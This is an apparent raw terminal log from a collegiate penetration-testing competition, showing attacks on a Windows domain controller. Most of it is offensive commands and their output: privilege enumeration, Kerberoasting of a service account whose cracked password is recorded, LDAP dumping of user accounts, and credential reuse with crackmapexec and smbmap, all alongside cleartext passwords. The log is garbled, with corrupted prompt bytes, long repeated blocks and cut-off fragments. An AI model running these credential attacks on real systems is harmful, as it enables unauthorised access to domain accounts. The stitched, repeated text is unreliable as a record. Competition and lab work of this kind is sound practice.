⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ rpcclient -U "pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "enumprivs"
found 35 privileges
SeCreateTokenPrivilege          0:2 (0x0:0x2)
SeAssignPrimaryTokenPrivilege           0:3 (0x0:0x3)
SeLockMemoryPrivilege           0:4 (0x0:0x4)
SeIncreaseQuotaPrivilege                0:5 (0x0:0x5)
SeMachineAccountPrivilege               0:6 (0x0:0x6)
SeTcbPrivilege          0:7 (0x0:0x7)
SeSecurityPrivilege             0:8 (0x0:0x8)
SeTakeOwnershipPrivilege                0:9 (0x0:0x9)
SeLoadDriverPrivilege           0:10 (0x0:0xa)
SeSystemProfilePrivilege                0:11 (0x0:0xb)
SeSystemtimePrivilege           0:12 (0x0:0xc)
SeProfileSingleProcessPrivilege                 0:13 (0x0:0xd)
SeIncreaseBasePriorityPrivilege                 0:14 (0x0:0xe)
SeCreatePagefilePrivilege               0:15 (0x0:0xf)
SeCreatePermanentPrivilege              0:16 (0x0:0x10)
SeBackupPrivilege               0:17 (0x0:0x11)
SeRestorePrivilege              0:18 (0x0:0x12)
SeShutdownPrivilege             0:19 (0x0:0x13)
SeDebugPrivilege                0:20 (0x0:0x14)
SeAuditPrivilege                0:21 (0x0:0x15)
SeSystemEnvironmentPrivilege            0:22 (0x0:0x16)
SeChangeNotifyPrivilege                 0:23 (0x0:0x17)
SeRemoteShutdownPrivilege               0:24 (0x0:0x18)
SeUndockPrivilege               0:25 (0x0:0x19)
SeSyncAgentPrivilege            0:26 (0x0:0x1a)
SeEnableDelegationPrivilege             0:27 (0x0:0x1b)
SeManageVolumePrivilege                 0:28 (0x0:0x1c)
SeImpersonatePrivilege          0:29 (0x0:0x1d)
SeCreateGlobalPrivilege                 0:30 (0x0:0x1e)
SeTrustedCredManAccessPrivilege                 0:31 (0x0:0x1f)
SeRelabelPrivilege              0:32 (0x0:0x20)
SeIncreaseWorkingSetPrivilege           0:33 (0x0:0x21)
SeTimeZonePrivilege             0:34 (0x0:0x22)
SeCreateSymbolicLinkPrivilege           0:35 (0x0:0x23)
SeDelegateSessionUserImpersonatePrivilege               0:36 (0x0:0x24)
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ rpcclient -U "pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "enumprivs"
found 35 privileges
SeCreateTokenPrivilege          0:2 (0x0:0x2)
SeAssignPrimaryTokenPrivilege           0:3 (0x0:0x3)
SeLockMemoryPrivilege           0:4 (0x0:0x4)
SeIncreaseQuotaPrivilege                0:5 (0x0:0x5)
SeMachineAccountPrivilege               0:6 (0x0:0x6)
SeTcbPrivilege          0:7 (0x0:0x7)
SeSecurityPrivilege             0:8 (0x0:0x8)
SeTakeOwnershipPrivilege                0:9 (0x0:0x9)
SeLoadDriverPrivilege           0:10 (0x0:0xa)
SeSystemProfilePrivilege                0:11 (0x0:0xb)
SeSystemtimePrivilege           0:12 (0x0:0xc)
SeProfileSingleProcessPrivilege                 0:13 (0x0:0xd)
SeIncreaseBasePriorityPrivilege                 0:14 (0x0:0xe)
SeCreatePagefilePrivilege               0:15 (0x0:0xf)
SeCreatePermanentPrivilege              0:16 (0x0:0x10)
SeBackupPrivilege               0:17 (0x0:0x11)
SeRestorePrivilege              0:18 (0x0:0x12)
SeShutdownPrivilege             0:19 (0x0:0x13)
SeDebugPrivilege                0:20 (0x0:0x14)
SeAuditPrivilege                0:21 (0x0:0x15)
SeSystemEnvironmentPrivilege            0:22 (0x0:0x16)
SeChangeNotifyPrivilege                 0:23 (0x0:0x17)
SeRemoteShutdownPrivilege               0:24 (0x0:0x18)
SeUndockPrivilege               0:25 (0x0:0x19)
SeSyncAgentPrivilege            0:26 (0x0:0x1a)
SeEnableDelegationPrivilege             0:27 (0x0:0x1b)
SeManageVolumePrivilege                 0:28 (0x0:0x1c)
SeImpersonatePrivilege          0:29 (0x0:0x1d)
SeCreateGlobalPrivilege                 0:30 (0x0:0x1e)
SeTrustedCredManAccessPrivilege                 0:31 (0x0:0x1f)
SeRelabelPrivilege              0:32 (0x0:0x20)
SeIncreaseWorkingSetPrivilege           0:33 (0x0:0x21)
SeTimeZonePrivilege             0:34 (0x0:0x22)
SeCreateSymbolicLinkPrivilege           0:35 (0x0:0x23)
SeDelegateSessionUserImpersonatePrivilege               0:36 (0x0:0x24)
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ smbclient -L //10.0.1.6 -U "pentester%)u1h55hm-h(M(7nV"
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.0.1.6 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ impacket-GetUserSPNs allports.local/pentester:')u1h55hm-h(M(7nV' -dc-ip 10.0.1.6
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName  Name           MemberOf  PasswordLastSet             LastLogon  Delegation
--------------------  -------------  --------  --------------------------  ---------  ----------
gyroscope/APT-DC-01   SVC_STABILIZE            2026-01-07 17:51:49.252618  <never>
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ #SVC_STABILIZE password was cracked its 1gyroscope
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName | grep sAMAccountName
# requesting: sAMAccountName
sAMAccountName: Administrator
sAMAccountName: Guest
sAMAccountName: cloudbase-init
sAMAccountName: APT-DC-01$
sAMAccountName: krbtgt
sAMAccountName: PP-D232
sAMAccountName: CS-A259
sAMAccountName: sgray
sAMAccountName: ereed
sAMAccountName: DD-A020
sAMAccountName: FV-B058
sAMAccountName: CS-B251
sAMAccountName: PP-A130
sAMAccountName: DD-C265
sAMAccountName: kfoster
sAMAccountName: ohill
sAMAccountName: wmorgan
sAMAccountName: CS-D278
sAMAccountName: CS-C159
sAMAccountName: hsmith
sAMAccountName: CS-B104
sAMAccountName: DD-D087
sAMAccountName: jward
sAMAccountName: PP-A100
sAMAccountName: sramos2
sAMAccountName: DD-D178
sAMAccountName: BB-C264
sAMAccountName: zmorgan
sAMAccountName: BB-C118
sAMAccountName: kthomas
sAMAccountName: DD-B196
sAMAccountName: abennet
sAMAccountName: DD-C253
sAMAccountName: PP-A108
sAMAccountName: BB-D236
sAMAccountName: vlong
sAMAccountName: tross
sAMAccountName: DD-D221
sAMAccountName: FV-C125
sAMAccountName: BB-A190
sAMAccountName: FV-A122
sAMAccountName: storres
sAMAccountName: DD-B052
sAMAccountName: CS-B222
sAMAccountName: wross
sAMAccountName: sallen2
sAMAccountName: ehall
sAMAccountName: PP-A020
sAMAccountName: sgreen
sAMAccountName: kcarter
sAMAccountName: DD-B207
sAMAccountName: BB-C158
sAMAccountName: PP-B008
sAMAccountName: kclark
sAMAccountName: CS-C046
sAMAccountName: BB-B271
sAMAccountName: ljimenez
sAMAccountName: FV-D084
sAMAccountName: ebailey
sAMAccountName: BB-D170
sAMAccountName: qharris
sAMAccountName: tmorgan
sAMAccountName: sevans
sAMAccountName: PP-D008
sAMAccountName: DD-D123
sAMAccountName: zalvarez
sAMAccountName: DD-B068
sAMAccountName: DD-A192
sAMAccountName: PP-D110
sAMAccountName: BB-C071
sAMAccountName: DD-B074
sAMAccountName: bsanders
sAMAccountName: FV-B208
sAMAccountName: xward
sAMAccountName: PP-D246
sAMAccountName: csanchez
sAMAccountName: phoward
sAMAccountName: PP-B256
sAMAccountName: hallen
sAMAccountName: BB-B104
sAMAccountName: PP-C057
sAMAccountName: xdavis
sAMAccountName: PP-D251
sAMAccountName: DD-B211
sAMAccountName: PP-B150
sAMAccountName: PP-C229
sAMAccountName: jlee
sAMAccountName: DD-D080
sAMAccountName: PP-C284
sAMAccountName: ayoung
sAMAccountName: BB-D066
sAMAccountName: cmiller
sAMAccountName: FV-D063
sAMAccountName: BB-A256
sAMAccountName: shall
sAMAccountName: PP-C070
sAMAccountName: CS-C276
sAMAccountName: BB-A147
sAMAccountName: badams
sAMAccountName: PP-C051
sAMAccountName: BB-D053
sAMAccountName: CS-B209
sAMAccountName: CS-A119
sAMAccountName: FV-B137
sAMAccountName: ckelly
sAMAccountName: BB-A230
sAMAccountName: FV-D140
sAMAccountName: DD-D168
sAMAccountName: mlee
sAMAccountName: FV-D034
sAMAccountName: DD-C261
sAMAccountName: PP-B158
sAMAccountName: PP-B025
sAMAccountName: ltaylor2
sAMAccountName: FV-A240
sAMAccountName: PP-A147
sAMAccountName: DD-D004
sAMAccountName: mclark2
sAMAccountName: PP-A069
sAMAccountName: PP-C202
sAMAccountName: kwatson
sAMAccountName: kjackson
sAMAccountName: FV-A112
sAMAccountName: PP-B055
sAMAccountName: jlopez2
sAMAccountName: jramirez2
sAMAccountName: DD-C169
sAMAccountName: PP-C030
sAMAccountName: kparker
sAMAccountName: elong
sAMAccountName: ccooper
sAMAccountName: CS-C165
sAMAccountName: BB-B085
sAMAccountName: FV-C101
sAMAccountName: zruiz
sAMAccountName: ecarter2
sAMAccountName: DD-A227
sAMAccountName: lthomas
sAMAccountName: rlee
sAMAccountName: BB-A186
sAMAccountName: ibaker
sAMAccountName: PP-A050
sAMAccountName: DD-A198
sAMAccountName: BB-B039
sAMAccountName: DD-D135
sAMAccountName: PP-C055
sAMAccountName: BB-A067
sAMAccountName: PP-D285
sAMAccountName: DD-A285
sAMAccountName: DD-A207
sAMAccountName: PP-C236
sAMAccountName: DD-C123
sAMAccountName: jwilliams
sAMAccountName: DD-D025
sAMAccountName: PP-D264
sAMAccountName: BB-A016
sAMAccountName: PP-D224
sAMAccountName: DD-B064
sAMAccountName: DD-B184
crackmapexec smb 10.0.1.0/24 -u SVC_STABILIZE -p '1gyroscope'
smbmap -H 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' --shares
smbmap -H 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' -s
smbmap -H 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope'
crackmapexec winrm 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope'


_raw:
passwd
./all.sh
chmod 777 windows.sh
./windows.sh
ip a
clear
sudo nmap -p- -Pn -sC -sV -O -oX 10.0.1.6 .xml 10.0.1.6
sudo nmap -p- -Pn -sC -sV -O -oX 10.0.1.6.xml 10.0.1.6
\
ls
sudo reponder -I eth0
sudo responder -I eth0
alid after:  2036-01-05T22:35:05\
| tls-alpn: \
|_  http/1.1\
|_ssl-date: TLS randomness does not represent time\
|_http-server-header: Microsoft-HTTPAPI/2.0\
|_http-title: Not Found\
9389/tcp  open  mc-nmf        .NET Message Framing\
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\
|_http-server-header: Microsoft-HTTPAPI/2.0\
|_http-title: Not Found\
49297/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\
49298/tcp open  msrpc         Microsoft Windows RPC\
49303/tcp open  msrpc         Microsoft Windows RPC\
49310/tcp open  msrpc         Microsoft Windows RPC\
49315/tcp open  msrpc         Microsoft Windows RPC\
49664/tcp open  msrpc         Microsoft Windows RPC\
49665/tcp open  msrpc         Microsoft Windows RPC\
49666/tcp open  msrpc         Microsoft Windows RPC\
49667/tcp open  msrpc         Microsoft Windows RPC\
49668/tcp open  msrpc         Microsoft Windows RPC\
49670/tcp open  msrpc         Microsoft Windows RPC\
49673/tcp open  msrpc         Microsoft Windows RPC\
57657/tcp open  msrpc         Microsoft Windows RPC\
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).\
TCP/IP fingerprint:\
OS:SCAN(V=7.95%E=4%D=1/9%OT=53%CT=1%CU=39933%PV=Y%DS=2%DC=I%G=Y%TM=69611C9B\
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=105%TI=I%CI=I%TS=A)SEQ(SP=10\
OS:4%GCD=1%ISR=10C%TI=I%CI=I%TS=A)SEQ(SP=105%GCD=2%ISR=10A%TI=I%CI=I%TS=A)S\
OS:EQ(SP=106%GCD=1%ISR=10B%CI=I%TS=A)SEQ(SP=106%GCD=1%ISR=10D%TI=I%CI=I%TS=\
OS:A)OPS(O1=M5B4NW8ST11%O2=M5B4NW8ST11%O3=M5B4NW8NNT11%O4=M5B4NW8ST11%O5=M5\
OS:B4NW8ST11%O6=M5B4ST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFD\
OS:C)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S\
OS:+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=\
OS:)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%\
OS:A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIP\
OS:CK=G%RUCK=G%RUD=G)IE(R=N)\
\
Network Distance: 2 hops\
Service Info: Host: APT-DC-01; OS: Windows; CPE: cpe:/o:microsoft:windows\
\
Host script results:\
| smb2-security-mode: \
|   3:1:1: \
|_    Message signing enabled and required\
| smb2-time: \


_raw:
Stopped: Fri Jan  9 15:06:49 2026
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ rpcclient -U "pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "enumprivs"
found 35 privileges
SeCreateTokenPrivilege          0:2 (0x0:0x2)
SeAssignPrimaryTokenPrivilege           0:3 (0x0:0x3)
SeLockMemoryPrivilege           0:4 (0x0:0x4)
SeIncreaseQuotaPrivilege                0:5 (0x0:0x5)
SeMachineAccountPrivilege               0:6 (0x0:0x6)
SeTcbPrivilege          0:7 (0x0:0x7)
SeSecurityPrivilege             0:8 (0x0:0x8)
SeTakeOwnershipPrivilege                0:9 (0x0:0x9)
SeLoadDriverPrivilege           0:10 (0x0:0xa)
SeSystemProfilePrivilege                0:11 (0x0:0xb)
SeSystemtimePrivilege           0:12 (0x0:0xc)
SeProfileSingleProcessPrivilege                 0:13 (0x0:0xd)
SeIncreaseBasePriorityPrivilege                 0:14 (0x0:0xe)
SeCreatePagefilePrivilege               0:15 (0x0:0xf)
SeCreatePermanentPrivilege              0:16 (0x0:0x10)
SeBackupPrivilege               0:17 (0x0:0x11)
SeRestorePrivilege              0:18 (0x0:0x12)
SeShutdownPrivilege             0:19 (0x0:0x13)
SeDebugPrivilege                0:20 (0x0:0x14)
SeAuditPrivilege                0:21 (0x0:0x15)
SeSystemEnvironmentPrivilege            0:22 (0x0:0x16)
SeChangeNotifyPrivilege                 0:23 (0x0:0x17)
SeRemoteShutdownPrivilege               0:24 (0x0:0x18)
SeUndockPrivilege               0:25 (0x0:0x19)
SeSyncAgentPrivilege            0:26 (0x0:0x1a)
SeEnableDelegationPrivilege             0:27 (0x0:0x1b)
SeManageVolumePrivilege                 0:28 (0x0:0x1c)
SeImpersonatePrivilege          0:29 (0x0:0x1d)
SeCreateGlobalPrivilege                 0:30 (0x0:0x1e)
SeTrustedCredManAccessPrivilege                 0:31 (0x0:0x1f)
SeRelabelPrivilege              0:32 (0x0:0x20)
SeIncreaseWorkingSetPrivilege           0:33 (0x0:0x21)
SeTimeZonePrivilege             0:34 (0x0:0x22)
SeCreateSymbolicLinkPrivilege           0:35 (0x0:0x23)
SeDelegateSessionUserImpersonatePrivilege               0:36 (0x0:0x24)
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ rpcclient -U "pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "enumprivs"
found 35 privileges
SeCreateTokenPrivilege          0:2 (0x0:0x2)
SeAssignPrimaryTokenPrivilege           0:3 (0x0:0x3)
SeLockMemoryPrivilege           0:4 (0x0:0x4)
SeIncreaseQuotaPrivilege                0:5 (0x0:0x5)
SeMachineAccountPrivilege               0:6 (0x0:0x6)
SeTcbPrivilege          0:7 (0x0:0x7)
SeSecurityPrivilege             0:8 (0x0:0x8)
SeTakeOwnershipPrivilege                0:9 (0x0:0x9)
SeLoadDriverPrivilege           0:10 (0x0:0xa)
SeSystemProfilePrivilege                0:11 (0x0:0xb)
SeSystemtimePrivilege           0:12 (0x0:0xc)
SeProfileSingleProcessPrivilege                 0:13 (0x0:0xd)
SeIncreaseBasePriorityPrivilege                 0:14 (0x0:0xe)
SeCreatePagefilePrivilege               0:15 (0x0:0xf)
SeCreatePermanentPrivilege              0:16 (0x0:0x10)
SeBackupPrivilege               0:17 (0x0:0x11)
SeRestorePrivilege              0:18 (0x0:0x12)
SeShutdownPrivilege             0:19 (0x0:0x13)
SeDebugPrivilege                0:20 (0x0:0x14)
SeAuditPrivilege                0:21 (0x0:0x15)
SeSystemEnvironmentPrivilege            0:22 (0x0:0x16)
SeChangeNotifyPrivilege                 0:23 (0x0:0x17)
SeRemoteShutdownPrivilege               0:24 (0x0:0x18)
SeUndockPrivilege               0:25 (0x0:0x19)
SeSyncAgentPrivilege            0:26 (0x0:0x1a)
SeEnableDelegationPrivilege             0:27 (0x0:0x1b)
SeManageVolumePrivilege                 0:28 (0x0:0x1c)
SeImpersonatePrivilege          0:29 (0x0:0x1d)
SeCreateGlobalPrivilege                 0:30 (0x0:0x1e)
SeTrustedCredManAccessPrivilege                 0:31 (0x0:0x1f)
SeRelabelPrivilege              0:32 (0x0:0x20)
SeIncreaseWorkingSetPrivilege           0:33 (0x0:0x21)
SeTimeZonePrivilege             0:34 (0x0:0x22)
SeCreateSymbolicLinkPrivilege           0:35 (0x0:0x23)
SeDelegateSessionUserImpersonatePrivilege               0:36 (0x0:0x24)
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ smbclient -L //10.0.1.6 -U "pentester%)u1h55hm-h(M(7nV"
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.0.1.6 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ impacket-GetUserSPNs allports.local/pentester:')u1h55hm-h(M(7nV' -dc-ip 10.0.1.6
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName  Name           MemberOf  PasswordLastSet             LastLogon  Delegation
--------------------  -------------  --------  --------------------------  ---------  ----------
gyroscope/APT-DC-01   SVC_STABILIZE            2026-01-07 17:51:49.252618  <never>
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ #SVC_STABILIZE password was cracked its 1gyroscope
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName | grep sAMAccountName
# requesting: sAMAccountName
sAMAccountName: Administrator
sAMAccountName: Guest
sAMAccountName: cloudbase-init
sAMAccountName: APT-DC-01$
sAMAccountName: krbtgt
sAMAccountName: PP-D232
sAMAccountName: CS-A259
sAMAccountName: sgray
sAMAccountName: ereed
sAMAccountName: DD-A020
sAMAccountName: FV-B058
sAMAccountName: CS-B251
sAMAccountName: PP-A130
sAMAccountName: DD-C265
sAMAccountName: kfoster
sAMAccountName: ohill
sAMAccountName: wmorgan
sAMAccountName: CS-D278
sAMAccountName: CS-C159
sAMAccountName: hsmith
sAMAccountName: CS-B104
sAMAccountName: DD-D087
sAMAccountName: jward
sAMAccountName: PP-A100
sAMAccountName: sramos2
sAMAccountName: DD-D178
sAMAccountName: BB-C264
sAMAccountName: zmorgan
sAMAccountName: BB-C118
sAMAccountName: kthomas
sAMAccountName: DD-B196
sAMAccountName: abennet
sAMAccountName: DD-C253
sAMAccountName: PP-A108
sAMAccountName: BB-D236
sAMAccountName: vlong
sAMAccountName: tross
sAMAccountName: DD-D221
sAMAccountName: FV-C125
sAMAccountName: BB-A190
sAMAccountName: FV-A122
sAMAccountName: storres
sAMAccountName: DD-B052
sAMAccountName: CS-B222
sAMAccountName: wross
sAMAccountName: sallen2
sAMAccountName: ehall
sAMAccountName: PP-A020
sAMAccountName: sgreen
sAMAccountName: kcarter
sAMAccountName: DD-B207
sAMAccountName: BB-C158
sAMAccountName: PP-B008
sAMAccountName: kclark
sAMAccountName: CS-C046
sAMAccountName: BB-B271
sAMAccountName: ljimenez
sAMAccountName: FV-D084
sAMAccountName: ebailey
sAMAccountName: BB-D170
sAMAccountName: qharris
sAMAccountName: tmorgan
sAMAccountName: sevans
sAMAccountName: PP-D008
sAMAccountName: DD-D123
sAMAccountName: zalvarez
sAMAccountName: DD-B068
sAMAccountName: DD-A192
sAMAccountName: PP-D110
sAMAccountName: BB-C071
sAMAccountName: DD-B074
sAMAccountName: bsanders
sAMAccountName: FV-B208
sAMAccountName: xward
sAMAccountName: PP-D246
sAMAccountName: csanchez
sAMAccountName: phoward
sAMAccountName: PP-B256
sAMAccountName: hallen
sAMAccountName: BB-B104
sAMAccountName: PP-C057
sAMAccountName: xdavis
sAMAccountName: PP-D251
sAMAccountName: DD-B211
sAMAccountName: PP-B150
sAMAccountName: PP-C229
sAMAccountName: jlee
sAMAccountName: DD-D080
sAMAccountName: PP-C284
sAMAccountName: ayoung
sAMAccountName: BB-D066
sAMAccountName: cmiller
sAMAccountName: FV-D063
sAMAccountName: BB-A256
sAMAccountName: shall
sAMAccountName: PP-C070
sAMAccountName: CS-C276
sAMAccountName: BB-A147
sAMAccountName: badams
sAMAccountName: PP-C051
sAMAccountName: BB-D053
sAMAccountName: CS-B209
sAMAccountName: CS-A119
sAMAccountName: FV-B137
sAMAccountName: ckelly
sAMAccountName: BB-A230
sAMAccountName: FV-D140
sAMAccountName: DD-D168
sAMAccountName: mlee
sAMAccountName: FV-D034
sAMAccountName: DD-C261
sAMAccountName: PP-B158
sAMAccountName: PP-B025
sAMAccountName: ltaylor2
sAMAccountName: FV-A240
sAMAccountName: PP-A147
sAMAccountName: DD-D004
sAMAccountName: mclark2
sAMAccountName: PP-A069
sAMAccountName: PP-C202
sAMAccountName: kwatson
sAMAccountName: kjackson
sAMAccountName: FV-A112
sAMAccountName: PP-B055
sAMAccountName: jlopez2
sAMAccountName: jramirez2
sAMAccountName: DD-C169
sAMAccountName: PP-C030
sAMAccountName: kparker
sAMAccountName: elong
sAMAccountName: ccooper
sAMAccountName: CS-C165
sAMAccountName: BB-B085
sAMAccountName: FV-C101
sAMAccountName: zruiz
sAMAccountName: ecarter2
sAMAccountName: DD-A227
sAMAccountName: lthomas
sAMAccountName: rlee
sAMAccountName: BB-A186
sAMAccountName: ibaker
sAMAccountName: PP-A050
sAMAccountName: DD-A198
sAMAccountName: BB-B039
sAMAccountName: DD-D135
sAMAccountName: PP-C055
sAMAccountName: BB-A067
sAMAccountName: PP-D285
sAMAccountName: DD-A285
sAMAccountName: DD-A207
sAMAccountName: PP-C236
sAMAccountName: DD-C123
sAMAccountName: jwilliams
sAMAccountName: DD-D025
sAMAccountName: PP-D264
sAMAccountName: BB-A016
sAMAccountName: PP-D224
sAMAccountName: DD-B064
sAMAccountName: DD-B184
git clone https://github.com/nationalcptc-teamtools/university-of-florida.git
cd university-of-florida
cd cptc2026-tools/setup
chmod 777 all.sh
./all.sh


_raw:
Stopped: Fri Jan  9 15:06:49 2026
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ rpcclient -U "pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "enumprivs"
found 35 privileges
SeCreateTokenPrivilege          0:2 (0x0:0x2)
SeAssignPrimaryTokenPrivilege           0:3 (0x0:0x3)
SeLockMemoryPrivilege           0:4 (0x0:0x4)
SeIncreaseQuotaPrivilege                0:5 (0x0:0x5)
SeMachineAccountPrivilege               0:6 (0x0:0x6)
SeTcbPrivilege          0:7 (0x0:0x7)
SeSecurityPrivilege             0:8 (0x0:0x8)
SeTakeOwnershipPrivilege                0:9 (0x0:0x9)
SeLoadDriverPrivilege           0:10 (0x0:0xa)
SeSystemProfilePrivilege                0:11 (0x0:0xb)
SeSystemtimePrivilege           0:12 (0x0:0xc)
SeProfileSingleProcessPrivilege                 0:13 (0x0:0xd)
SeIncreaseBasePriorityPrivilege                 0:14 (0x0:0xe)
SeCreatePagefilePrivilege               0:15 (0x0:0xf)
SeCreatePermanentPrivilege              0:16 (0x0:0x10)
SeBackupPrivilege               0:17 (0x0:0x11)
SeRestorePrivilege              0:18 (0x0:0x12)
SeShutdownPrivilege             0:19 (0x0:0x13)
SeDebugPrivilege                0:20 (0x0:0x14)
SeAuditPrivilege                0:21 (0x0:0x15)
SeSystemEnvironmentPrivilege            0:22 (0x0:0x16)
SeChangeNotifyPrivilege                 0:23 (0x0:0x17)
SeRemoteShutdownPrivilege               0:24 (0x0:0x18)
SeUndockPrivilege               0:25 (0x0:0x19)
SeSyncAgentPrivilege            0:26 (0x0:0x1a)
SeEnableDelegationPrivilege             0:27 (0x0:0x1b)
SeManageVolumePrivilege                 0:28 (0x0:0x1c)
SeImpersonatePrivilege          0:29 (0x0:0x1d)
SeCreateGlobalPrivilege                 0:30 (0x0:0x1e)
SeTrustedCredManAccessPrivilege                 0:31 (0x0:0x1f)
SeRelabelPrivilege              0:32 (0x0:0x20)
SeIncreaseWorkingSetPrivilege           0:33 (0x0:0x21)
SeTimeZonePrivilege             0:34 (0x0:0x22)
SeCreateSymbolicLinkPrivilege           0:35 (0x0:0x23)
SeDelegateSessionUserImpersonatePrivilege               0:36 (0x0:0x24)
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ rpcclient -U "pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "enumprivs"
found 35 privileges
SeCreateTokenPrivilege          0:2 (0x0:0x2)
SeAssignPrimaryTokenPrivilege           0:3 (0x0:0x3)
SeLockMemoryPrivilege           0:4 (0x0:0x4)
SeIncreaseQuotaPrivilege                0:5 (0x0:0x5)
SeMachineAccountPrivilege               0:6 (0x0:0x6)
SeTcbPrivilege          0:7 (0x0:0x7)
SeSecurityPrivilege             0:8 (0x0:0x8)
SeTakeOwnershipPrivilege                0:9 (0x0:0x9)
SeLoadDriverPrivilege           0:10 (0x0:0xa)
SeSystemProfilePrivilege                0:11 (0x0:0xb)
SeSystemtimePrivilege           0:12 (0x0:0xc)
SeProfileSingleProcessPrivilege                 0:13 (0x0:0xd)
SeIncreaseBasePriorityPrivilege                 0:14 (0x0:0xe)
SeCreatePagefilePrivilege               0:15 (0x0:0xf)
SeCreatePermanentPrivilege              0:16 (0x0:0x10)
SeBackupPrivilege               0:17 (0x0:0x11)
SeRestorePrivilege              0:18 (0x0:0x12)
SeShutdownPrivilege             0:19 (0x0:0x13)
SeDebugPrivilege                0:20 (0x0:0x14)
SeAuditPrivilege                0:21 (0x0:0x15)
SeSystemEnvironmentPrivilege            0:22 (0x0:0x16)
SeChangeNotifyPrivilege                 0:23 (0x0:0x17)
SeRemoteShutdownPrivilege               0:24 (0x0:0x18)
SeUndockPrivilege               0:25 (0x0:0x19)
SeSyncAgentPrivilege            0:26 (0x0:0x1a)
SeEnableDelegationPrivilege             0:27 (0x0:0x1b)
SeManageVolumePrivilege                 0:28 (0x0:0x1c)
SeImpersonatePrivilege          0:29 (0x0:0x1d)
SeCreateGlobalPrivilege                 0:30 (0x0:0x1e)
